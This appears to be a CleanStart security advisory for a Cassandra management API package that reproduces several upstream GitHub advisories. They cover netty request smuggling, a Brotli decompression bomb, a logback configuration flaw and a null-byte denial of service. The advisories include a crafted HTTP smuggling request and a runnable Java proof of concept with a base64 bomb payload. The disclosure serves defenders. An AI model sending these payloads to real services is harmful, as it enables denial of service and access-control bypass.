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Vulnerability from cleanstart
Multiple security vulnerabilities affect the management-api-for-apache-cassandra-5.0 package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "management-api-for-apache-cassandra-5.0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.111-r2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the management-api-for-apache-cassandra-5.0 package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-IS43446",
"modified": "2026-03-31T07:55:31Z",
"published": "2026-04-01T09:05:58.458627Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-IS43446.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-25qh-j22f-pwp8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-389x-839f-4rhx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p8m-j85q-pgmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-4g8c-wm8x-jfhw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5jpm-x58v-624v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-84h7-rjj3-6jx4"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fghv-69vj-qj49"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jq43-27x9-3v86"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pwqr-wmgm-9rr8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qqpg-mvqg-649v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w9fj-cfpg-grvv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xq3w-v528-46rv"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for ghsa-25qh-j22f-pwp8, ghsa-389x-839f-4rhx, ghsa-3p8m-j85q-pgmj, ghsa-4g8c-wm8x-jfhw, ghsa-5jpm-x58v-624v, ghsa-72hv-8253-57qq, ghsa-84h7-rjj3-6jx4, ghsa-fghv-69vj-qj49, ghsa-jq43-27x9-3v86, ghsa-pwqr-wmgm-9rr8, ghsa-qqpg-mvqg-649v, ghsa-w9fj-cfpg-grvv, ghsa-xq3w-v528-46rv applied in versions: 0.1.109-r0, 0.1.109-r1, 0.1.111-r2",
"upstream": [
"ghsa-25qh-j22f-pwp8",
"ghsa-389x-839f-4rhx",
"ghsa-3p8m-j85q-pgmj",
"ghsa-4g8c-wm8x-jfhw",
"ghsa-5jpm-x58v-624v",
"ghsa-72hv-8253-57qq",
"ghsa-84h7-rjj3-6jx4",
"ghsa-fghv-69vj-qj49",
"ghsa-jq43-27x9-3v86",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-qqpg-mvqg-649v",
"ghsa-w9fj-cfpg-grvv",
"ghsa-xq3w-v528-46rv"
]
}
GHSA-FGHV-69VJ-QJ49
Vulnerability from github – Published: 2025-09-04 17:35 – Updated: 2025-09-10 20:48Summary
A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.
Details
When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).
This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):
POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0
POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
0
The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).
Impact
This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.
The impact is high, but it only affects setups that use a front-end which: 1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. 2. Forwards chunk extensions without normalization.
Disclosure
- This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html
Discussion
Discussion for this vulnerability can be found here: - https://github.com/netty/netty/issues/15522 - https://github.com/JLLeitschuh/unCVEed/issues/1
Credit
- Credit to @JeppW for uncovering this vulnerability.
- Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58056"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-04T17:35:20Z",
"nvd_published_at": "2025-09-03T21:15:33Z",
"severity": "LOW"
},
"details": "## Summary\nA flaw in netty\u0027s parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.\n\n## Details\nWhen encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).\n\nThis is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):\n\n```\nPOST /one HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n48;\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n0\n\nPOST /two HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nThe intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).\n\n## Impact\nThis is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.\n\nThe impact is high, but it only affects setups that use a front-end which:\n1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.\n2. Forwards chunk extensions without normalization.\n\n## Disclosure\n\n - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html\n\n## Discussion\nDiscussion for this vulnerability can be found here:\n - https://github.com/netty/netty/issues/15522\n - https://github.com/JLLeitschuh/unCVEed/issues/1\n\n## Credit\n\n - Credit to @JeppW for uncovering this vulnerability.\n - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.",
"id": "GHSA-fghv-69vj-qj49",
"modified": "2025-09-10T20:48:05Z",
"published": "2025-09-04T17:35:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-fghv-69vj-qj49"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/unCVEed/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/issues/15522"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/6092"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/pull/15611"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/edb55fd8e0a3bcbd85881e423464f585183d1284"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions"
}
GHSA-QQPG-MVQG-649V
Vulnerability from github – Published: 2026-01-22 12:31 – Updated: 2026-01-22 18:06ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.
The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1225"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-22T18:06:44Z",
"nvd_published_at": "2026-01-22T10:16:07Z",
"severity": "LOW"
},
"details": "ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.\n\nThe instantiation of a potentially malicious Java class requires that said class is present on the user\u0027s class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.",
"id": "GHSA-qqpg-mvqg-649v",
"modified": "2026-01-22T18:06:44Z",
"published": "2026-01-22T12:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/issues/997"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/commit/1f97ae1844b1be8486e4e9cade98d7123d3eded5"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.25"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Logback allows an attacker to instantiate classes already present on the class path"
}
GHSA-3P8M-J85Q-PGMJ
Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)
Impact
DoS for anyone using BrotliDecoder on untrusted input.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58057"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-03T18:00:55Z",
"nvd_published_at": "2025-09-04T10:42:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n public static void main(String[] args) {\n EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
"id": "GHSA-3p8m-j85q-pgmj",
"modified": "2025-09-04T13:51:43Z",
"published": "2025-09-03T18:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}
GHSA-389X-839F-4RHX
Vulnerability from github – Published: 2025-02-10 18:14 – Updated: 2025-03-19 14:51Summary
An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.
Details
A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit.
PoC
The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00.
When the null-bytes are encountered by the InputStreamReader, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the BufferedReader.readLine(), because the replacement character is not a line-break character.
Impact
Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.118.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25193"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-10T18:14:47Z",
"nvd_published_at": "2025-02-10T22:15:38Z",
"severity": "MODERATE"
},
"details": "### Summary\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n### Details\nA similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv\nThis issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit.\n\n\n### PoC\nThe PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00.\nWhen the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character.\n\n### Impact\nImpact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv",
"id": "GHSA-389x-839f-4rhx",
"modified": "2025-03-19T14:51:27Z",
